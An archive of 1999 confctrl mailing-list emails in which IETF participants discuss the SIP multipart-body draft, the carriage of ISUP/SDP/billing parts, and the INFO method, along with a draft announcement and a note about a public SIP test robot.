	for <confctrl@ISI.EDU>; Tue, 8 Jun 1999 16:14:16 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id TAA14835;
	Tue, 8 Jun 1999 19:14:15 -0400 (EDT)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id TAA20547;
	Tue, 8 Jun 1999 19:14:14 -0400 (EDT)
Message-ID: <375DA3C6.303F94E@cs.columbia.edu>
Date: Tue, 08 Jun 1999 19:14:14 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
CC: confctrl@ISI.EDU
Subject: Re: draft-ietf-mmusic-sip-multipart-00.txt
References: <199906082201.RAA13231@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

"Adam B. Roach" wrote:
> 
> The current draft for multipart bodies for SIP messages
> (<draft-ietf-mmusic-sip-multipart-00.txt>) appears to limit
> bodies to, at the maximum:
> 
> 1) One section with session information (e.g. SDP)
> 2) One section for telephony signalling transparancy (e.g. ISUP)
> 3) One section for billing information (e.g. OTP)

Agreed. Why limit the multipart at all? Each section is identified by
its MIME type, so they are self-identifying. If that is necessary, a
parameter indicating functionality could be added, but I don't see this,
as the MIME types have non-overlapping functionality. It is not likely
that OTP will suddenly be mistaken for session information.

> 
> Given that each message is bound by an MTU when using UDP,
> this may not be a bad thing; however, there seem to be a few
> cases when it would be beneficial to include multiple ISUP messages
> in a single SIP message. For example, when the ingress gateway
> is performing overlap dialing "analysis" by waiting for an
> inter-digit timeout, it will potentially collect an IAM and
> several SAMs before sending out an INVITE. The gateway could just
> glom all the digits together and send them in one IAM, but this
> seems a bit intrusive: we wouldn't be providing ISUP transparency
> per se, as much as ISUP translations.
> 
> Similarly, we could take segmented messages and combine them into
> a single large message, but this takes extra processing at
> both ends.
> 
> I realise that, with the INFO extension, the subsequent messages
> could be sent following the INVITE/IAM message; however, this
> seems like an unnecessary amount of network overhead.
> 
> Comments, anyone? Does this need to be revised/clarified in the
> current draft, or should implementations just try to work around
> this limitation?
> 
> --
> Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
> adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Tue Jun  8 18:14:34 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA23771
	for confctrl-outgoing; Tue, 8 Jun 1999 18:14:34 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA23766
	for <confctrl@zephyr.isi.edu>; Tue, 8 Jun 1999 18:14:33 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by venera.isi.edu (8.8.7/8.8.6) with SMTP id SAA03068
	for <confctrl@isi.edu>; Tue, 8 Jun 1999 18:14:18 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Tue Jun  8 21:12:44 EDT 1999
Received: from dnrc.bell-labs.com ([135.17.250.8])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id VAA13663;
	Tue, 8 Jun 1999 21:12:41 -0400 (EDT)
Message-ID: <375DBFAC.4A0720BC@dnrc.bell-labs.com>
Date: Tue, 08 Jun 1999 21:13:16 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
CC: "Adam B. Roach" <Adam.Roach@Ericsson.com>, confctrl@ISI.EDU
Subject: Re: draft-ietf-mmusic-sip-multipart-00.txt
References: <199906082201.RAA13231@b04a24.exu.ericsson.se> <375DA3C6.303F94E@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning Schulzrinne wrote:
> 
> "Adam B. Roach" wrote:
> >
> > The current draft for multipart bodies for SIP messages
> > (<draft-ietf-mmusic-sip-multipart-00.txt>) appears to limit
> > bodies to, at the maximum:
> >
> > 1) One section with session information (e.g. SDP)
> > 2) One section for telephony signalling transparancy (e.g. ISUP)
> > 3) One section for billing information (e.g. OTP)
> 
> Agreed. Why limit the multipart at all? Each section is identified by
> its MIME type, so they are self-identifying. If that is necessary, a
> parameter indicating functionality could be added, but I don't see this,
> as the MIME types have non-overlapping functionality. It is not likely
> that OTP will suddenly be mistaken for session information.

In fact, I would argue that no extension is needed at all for multipart
in SIP. SIP allows MIME bodies, and since multipart is a valid MIME
type, SIP supports it right now. In fact, multipart/parallel is probably
the right sub-type for what is being done here. As Henning points out,
the MIME type itself would tell a UA what to do with each part. Type
application/sdp is for session description, application/isup for isup
parameters, and application/otp for billing. Eventually, other things,
like application/cpl, may be needed too. Rather than constraining
ourselves by enumerating the specific functions the various MIME parts
provide, leave it to the type itself to indicate.

What you will need is an extension defining the semantics for processing
each type. For example, draft-ietf-iptel-sip-reg-payload defines the
semantics for application/cpl and application/sip-cgi.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Jun  9 00:51:40 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA02210
	for confctrl-outgoing; Wed, 9 Jun 1999 00:51:40 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA02205
	for <confctrl@zephyr.isi.edu>; Wed, 9 Jun 1999 00:51:39 -0700 (PDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA13528
	for <confctrl@ISI.EDU>; Wed, 9 Jun 1999 00:51:37 -0700 (PDT)
Received: from lmf.lmf.ericsson.se (umail.lmf.ericsson.se [131.160.11.2])
	by penguin.wise.edt.ericsson.se (8.9.0/8.9.0/WIREfire-1.2) with ESMTP id JAA06589;
	Wed, 9 Jun 1999 09:50:32 +0200 (MET DST)
Received: from ericsson.com by lmf.lmf.ericsson.se (8.8.8+Sun/SMI-SVR4)
	id KAA19261; Wed, 9 Jun 1999 10:49:59 +0300 (EET DST)
Message-ID: <375E1C78.BCF19135@ericsson.com>
Date: Wed, 09 Jun 1999 10:49:12 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.05 [en] (WinNT; I)
MIME-Version: 1.0
To: Adam.Roach@ericsson.com
CC: confctrl@ISI.EDU, Ricky Project <Ricky@lmf.ericsson.se>
Subject: Re: draft-ietf-mmusic-sip-multipart-00.txt
References: <199906082201.RAA13231@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Adam,

> I realise that, with the INFO extension, the subsequent messages
> could be sent following the INVITE/IAM message; however, this
> seems like an unnecessary amount of network overhead.

But if you haven't received yet all the B-number, how do you know where
to send the INVITE?

You could send it to a SIP proxy, but the proxy would have to wait for
the SAMs anyway to reach the proper user... and it would mean that the
SIP proxy understands ISUP (and we do not want this to happen, right? ).

You could also send it to a MGC that will end up in the PSTN network
again, but how do you know which MGC you have to send it to?

By the way, I am probably going to Dallas in a couple of weeks.
See you there,

Gonzalo
-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 31 18
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland

From confctrl-owner  Wed Jun  9 05:12:47 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA07028
	for confctrl-outgoing; Wed, 9 Jun 1999 05:12:47 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA07023
	for <confctrl@zephyr.isi.edu>; Wed, 9 Jun 1999 05:12:45 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA19006
	for <confctrl@isi.edu>; Wed, 9 Jun 1999 05:12:44 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA24103;
	Wed, 9 Jun 1999 08:12:11 -0400 (EDT)
Message-Id: <199906091212.IAA24103@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-info-method-01.txt
Date: Wed, 09 Jun 1999 08:12:10 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: The SIP INFO Method
	Author(s)	: S. Donovan, M. Cannon  
	Filename	: draft-ietf-mmusic-sip-info-method-01.txt
	Pages		: 6
	Date		: 08-Jun-99

This document proposes an extension to the Session Initiation
Protocol.  This extension adds the INFO method to the SIP protocol.
The intent of the INFO method is to allow for the carrying of session
related control information that is generated during a session.
Examples of such session control information are ISUP/ISDN signaling
messages and DTMF digits used to control telephony services.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sip-info-method-01.txt

Internet-Drafts are also available by anonymous FTP. Login with the
username "anonymous" and a password of your e-mail address. After
logging in, type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-info-method-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-info-method-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19990608103649.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-info-method-01.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-info-method-01.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19990608103649.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Wed Jun  9 05:45:12 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA07818
	for confctrl-outgoing; Wed, 9 Jun 1999 05:45:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA07813
	for <confctrl@zephyr.isi.edu>; Wed, 9 Jun 1999 05:45:10 -0700 (PDT)
Received: from orange.pcs.ellemtel.net (orange.pcs.ellemtel.net [194.237.226.84])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA19894
	for <confctrl@ISI.EDU>; Wed, 9 Jun 1999 05:45:09 -0700 (PDT)
Received: from ellemtel.se (danelectro.pcs.ellemtel.net [194.237.226.77]) by orange.pcs.ellemtel.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id LC013SNQ; Wed, 9 Jun 1999 14:45:21 +0200
Message-ID: <375E61D4.6DE8A4FA@ellemtel.se>
Date: Wed, 09 Jun 1999 14:45:08 +0200
From: Peter =?iso-8859-1?Q?Peld=E1n?= <Peter.Peldan@ellemtel.se>
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl <confctrl@ISI.EDU>
Subject: SIP Robot operational.
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Our SIP-Robot is now operational:

Ellemtel has now made a SIP-Robot publicly available from the open
Internet. Read about it on our SIP-redirect server page:
http://www.ellemtel.se/sip/redirectserver.htm

I quote:

The Robot

                    Our Robot is an automatically answering SIP-UAS
capable of sending
                    and receiving audio. To listen to what it has to
say, simply send it an
                    SIP INVITE at sip:robot@pcs.ellemtel.net via our SIP
server (as a
                    proxy). The robot will generate a synthetic speech
message specially
                    for you, play the message, and then hang up. The
Robot supports
                    both G.711 a-law and mu-law as well as a few of
Voxware's low
                    bitrate codecs.

                    To generate the synthetic message, the Robot will
extract some
                    information from the SDP you send it. Today it uses
the session
                    name from the s-field and the username from the
o-field in the SDP
                    to generate the audio message.

                    If the Robot does not answer, please try again. It
may be busy. It
                    only answers one call at a time.


Have fun!
Peter
-- 
------------------------------------------------------------------------

Peter Peldán, PhD              Phone: +46-(0)8-6812211
Ellemtel Utvecklings AB        Mobile: +46-(0)70-3223211
MG/EUB                         Email: Peter.Peldan@ellemtel.se
Årstaängsvägen 24-26           Web: http://www.pcs.ellemtel.net/~eubpepe

S-126 25 Stockholm             SIP: Peter.Peldan@pcs.ellemtel.net
Sweden
-------------------------------------------------------------------------

From confctrl-owner  Wed Jun  9 06:55:43 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA09496
	for confctrl-outgoing; Wed, 9 Jun 1999 06:55:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA09491
	for <confctrl@zephyr.isi.edu>; Wed, 9 Jun 1999 06:55:41 -0700 (PDT)
Received: from thumper.research.telcordia.com (thumper.research.telcordia.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA21947
	for <confctrl@isi.edu>; Wed, 9 Jun 1999 06:55:39 -0700 (PDT)
Received: from seawind.research.telcordia.com (seawind [192.4.18.101])
	by thumper.research.telcordia.com (8.9.1a/8.9.1) with ESMTP id JAA08868;
	Wed, 9 Jun 1999 09:55:04 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.research.telcordia.com (8.8.8/8.8.8) id JAA21143;
	Wed, 9 Jun 1999 09:55:03 -0400 (EDT)
Date: Wed, 9 Jun 1999 09:55:03 -0400 (EDT)
From: Christian Huitema <huitema@research.telcordia.com>
Message-Id: <990609095503.ZM21141@seawind.research.telcordia.com>
In-Reply-To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
        "Re: draft-ietf-mmusic-sip-multipart-00.txt" (Jun  8,  9:13pm)
References: <199906082201.RAA13231@b04a24.exu.ericsson.se> 
	<375DA3C6.303F94E@cs.columbia.edu> 
	<375DBFAC.4A0720BC@dnrc.bell-labs.com>
X-Mailer: Z-Mail (5.0.0 30July97)
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Subject: Re: draft-ietf-mmusic-sip-multipart-00.txt
Cc: "Adam B. Roach" <Adam.Roach@Ericsson.com>, confctrl@ISI.EDU
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I could agree with Jonathan's proposal to use a generic multipart
type if we solve a few questions:

1) what happens when I receive a multipart that I only partially
   understand?

2) how do I indetify the intent of the sender behind each
   multipart data?

The basic intent of the multipart draft was to solve these two
points.  In fact, different parts may request different treatment:

1) SDP is typically end to end, relayed without changes by "pure
signalling" agents,

2) ISUP is typically "gateway to gateway." It can be relayed by 
   intermediate signalling agents wthout even parsing it.

3) Payment information is typically local.
   It is inserted by "border agents" and removed at the next border.

The advantage of specifying a "sip" multipart type is that you can
specify these behaviors. A genric type leaves them unspecified, which
in effect placesthe burden on "profiles" or maybe on the main spec.
In addition, the existing semantics such as "parallel" may not be
appropriate -- think of the multiple SAM messages example...

-- 
Christian Huitema
------------------------------
Please note my new address: huitema@research.telcordia.com
http://www.telcordia.com/

From confctrl-owner  Wed Jun  9 07:14:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA09907
	for confctrl-outgoing; Wed, 9 Jun 1999 07:14:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA09902
	for <confctrl@zephyr.isi.edu>; Wed, 9 Jun 1999 07:14:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA22640
	for <confctrl@isi.edu>; Wed, 9 Jun 1999 07:14:02 -0700 (PDT)
Received: from bronx.dnrc.bell-labs.com ([135.180.160.8]) by dirty; Wed Jun  9 10:14:00 EDT 1999
Received: from cs.columbia.edu (ume [135.180.240.103])
	by bronx.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id KAA24460;
	Wed, 9 Jun 1999 10:13:59 -0400 (EDT)
Message-ID: <375E763F.3C7D4C12@cs.columbia.edu>
Date: Wed, 09 Jun 1999 10:12:15 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.05 [en] (WinNT; U)
MIME-Version: 1.0
To: Christian Huitema <huitema@research.telcordia.com>
CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        "Adam B. Roach" <Adam.Roach@Ericsson.com>, confctrl@ISI.EDU
Subject: Re: draft-ietf-mmusic-sip-multipart-00.txt
References: <199906082201.RAA13231@b04a24.exu.ericsson.se> 
		<375DA3C6.303F94E@cs.columbia.edu> 
		<375DBFAC.4A0720BC@dnrc.bell-labs.com> <990609095503.ZM21141@seawind.research.telcordia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Christian Huitema wrote:
> 
> I could agree with Jonathan's proposal to use a generic multipart
> type if we solve a few questions:
> 
> 1) what happens when I receive a multipart that I only partially
>    understand?

This should be specified by a parameter: "reject", "ignore" or "copy".

> 
> 2) how do I indetify the intent of the sender behind each
>    multipart data?

I mentioned this as another parameter, with sensible defaults for
"well-known" types.

> 
> The basic intent of the multipart draft was to solve these two
> points.  In fact, different parts may request different treatment:
> 
> 1) SDP is typically end to end, relayed without changes by "pure
> signalling" agents,
> 
> 2) ISUP is typically "gateway to gateway." It can be relayed by
>    intermediate signalling agents wthout even parsing it.
> 
> 3) Payment information is typically local.
>    It is inserted by "border agents" and removed at the next border.
> 
> The advantage of specifying a "sip" multipart type is that you can
> specify these behaviors. A genric type leaves them unspecified, which
> in effect placesthe burden on "profiles" or maybe on the main spec.
> In addition, the existing semantics such as "parallel" may not be
> appropriate -- think of the multiple SAM messages example...

I don't much care whether you call it multipart/sip or
multipart/parallel (it makes no real difference and I agree that the
MIME rendering conventions geared for email readers don't make a whole
lot of sense for a SIP proxy), but the important part is to allow a
multipart with a variable number of components, where each component is
labeled as to the "if you don't understand this" situation. 

Note, however, that even without the "do not understand" parameter, most
situations of interest can be handled by Require and Proxy-Require and
default SDP semantics. Proxy servers copy the payload without further
inspection. If you send SDP + ISUP to a current UAS, it will respond
with a payload error and indicate that it can't accept multipart. If you
want to make sure that the other side does the correct thing with
billing, 

Require: otp

will be sufficient.


> 
> --
> Christian Huitema
> ------------------------------
> Please note my new address: huitema@research.telcordia.com
> http://www.telcordia.com/

From confctrl-owner  Wed Jun  9 07:50:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA11434
	for confctrl-outgoing; Wed, 9 Jun 1999 07:50:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA11420
	for <confctrl@zephyr.isi.edu>; Wed, 9 Jun 1999 07:50:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA24213
	for <confctrl@isi.edu>; Wed, 9 Jun 1999 07:50:02 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Wed Jun  9 10:49:57 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id KAA14427;
	Wed, 9 Jun 1999 10:49:56 -0400 (EDT)
Message-ID: <375E7BEC.CA089282@dnrc.bell-labs.com>
Date: Wed, 09 Jun 1999 10:36:28 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Christian Huitema <huitema@research.telcordia.com>
CC: Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        "Adam B. Roach" <Adam.Roach@Ericsson.com>, confctrl@ISI.EDU
Subject: Re: draft-ietf-mmusic-sip-multipart-00.txt
References: <199906082201.RAA13231@b04a24.exu.ericsson.se> 
		<375DA3C6.303F94E@cs.columbia.edu> 
		<375DBFAC.4A0720BC@dnrc.bell-labs.com> <990609095503.ZM21141@seawind.research.telcordia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Christian Huitema wrote:
> 
> I could agree with Jonathan's proposal to use a generic multipart
> type if we solve a few questions:
> 
> 1) what happens when I receive a multipart that I only partially
>    understand?

By partially understand, I presume you mean that some of the multipart
types are understood, and others are not. I think this is easy; the UAS
returns a 415 response, and lists the types it understands. This would
include, in the Accept header in the response, the multipart type
itself, plus the types carried in a multipart that it understands. For
example:

415 Unsupported Media Type
Accept: multipart/parallel, application/sdp

The UAC can then determine what was incompatible and resubmit the
request without that part. This is all standard SIP stuff here.

> 
> 2) how do I indetify the intent of the sender behind each
>    multipart data?

I believe the MIME type of each part in the multipart indicates the
intent. application/sdp means "I want to set up this session with you",
for example. 

> 
> The basic intent of the multipart draft was to solve these two
> points.  In fact, different parts may request different treatment:
> 
> 1) SDP is typically end to end, relayed without changes by "pure
> signalling" agents,
> 
> 2) ISUP is typically "gateway to gateway." It can be relayed by
>    intermediate signalling agents wthout even parsing it.

Since a gateway is nothing more than a glorified UA, from a SIP
perspective I don't see the difference between 1 and 2.

> 
> 3) Payment information is typically local.
>    It is inserted by "border agents" and removed at the next border.

Having a SIP proxy be required to understand and modify bodies, whether
they are encapsulated in a multipart or not, is a bit troublesome. What
does it do if it doesn't understand a body? Should it return an error
with Accept headers? This is really UA behavior, not proxy behavior, and
I can think of strange things that could happen.

That aside, this behavior again can be ascertained from the type -
application/otp would be server to server.


> 
> The advantage of specifying a "sip" multipart type is that you can
> specify these behaviors. A genric type leaves them unspecified, which
> in effect placesthe burden on "profiles" or maybe on the main spec.

Whether or not you use a SIP multipart or an existing multipart, you
will need to say something about the semantics of what happens when you
get a part of that type. As I mentioned in the last mail, the draft on
usage of application/sip-cgi is an example of what I mean.

> In addition, the existing semantics such as "parallel" may not be
> appropriate -- think of the multiple SAM messages example...

Well, if you want to be precise, you could have a multipart/parallel
that carries two parts: one is SDP, and the other is multipart/mixed.
The mixed subpart contains each SAM. The definition of mixed seems to be
more or less what we want:

> The "mixed" subtype of "multipart" is intended for use when the body
>    parts are independent and need to be bundled in a particular order.
>    Any "multipart" subtypes that an implementation does not recognize
>    must be treated as being of subtype "mixed".

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Jun  9 08:44:14 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA13435
	for confctrl-outgoing; Wed, 9 Jun 1999 08:44:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA13430
	for <confctrl@zephyr.isi.edu>; Wed, 9 Jun 1999 08:44:13 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA27825
	for <confctrl@ISI.EDU>; Wed, 9 Jun 1999 08:44:12 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3u.ericy.com [208.238.116.100])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id KAA19235
	for <confctrl@ISI.EDU>; Wed, 9 Jun 1999 10:42:56 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id KAA03169
	for <confctrl@ISI.EDU>; Wed, 9 Jun 1999 10:42:47 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id KAA22806; Wed, 9 Jun 1999 10:42:43 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id KAA16179;
	Wed, 9 Jun 1999 10:42:38 -0500 (CDT)
Message-Id: <199906091542.KAA16179@b04a24.exu.ericsson.se>
Subject: Re: draft-ietf-mmusic-sip-multipart-00.txt
To: Gonzalo.Camarillo@ericsson.com (Gonzalo Camarillo)
Date: Wed, 9 Jun 1999 10:42:38 -0500 (CDT)
Cc: Adam.Roach@ericsson.com, confctrl@ISI.EDU, Ricky@lmf.ericsson.se
In-Reply-To: <375E1C78.BCF19135@ericsson.com> from "Gonzalo Camarillo" at Jun 9, 99 10:49:12 am
From: "Adam B. Roach" <Adam.Roach@ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>> I realise that, with the INFO extension, the subsequent messages
>> could be sent following the INVITE/IAM message; however, this
>> seems like an unnecessary amount of network overhead.
>
>But if you haven't received yet all the B-number, how do you know where
>to send the INVITE?
>
>You could send it to a SIP proxy, but the proxy would have to wait for
>the SAMs anyway to reach the proper user... and it would mean that the
>SIP proxy understands ISUP (and we do not want this to happen, right? ).
>
>You could also send it to a MGC that will end up in the PSTN network
>again, but how do you know which MGC you have to send it to?

If the SIP nodes do not receive sufficient information in the SIP
request itself (i.e. ignoring the bodies) to route the call, they
reject the INVITE with a "484 Address Incomplete," which should cause
the ingress gateway to collect more address messages and re-send
an INVITE.

What I was talking about above is the workaround where you would send
an INVITE that has, in the SIP portion, a full destination number. In
the encapsulated IAM, it has the first portion of that number.
Subsequent INFO messages would carry the remaining SAM messages.

The point of my earlier mail was that I think this is a particularly
cumbersome method of transporting the SAMs, even though it is a viable
workaround in case the specification doesn't get modified.

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Wed Jun  9 22:27:29 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA14322
	for confctrl-outgoing; Wed, 9 Jun 1999 22:27:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA14316
	for <confctrl@zephyr.isi.edu>; Wed, 9 Jun 1999 22:27:27 -0700 (PDT)
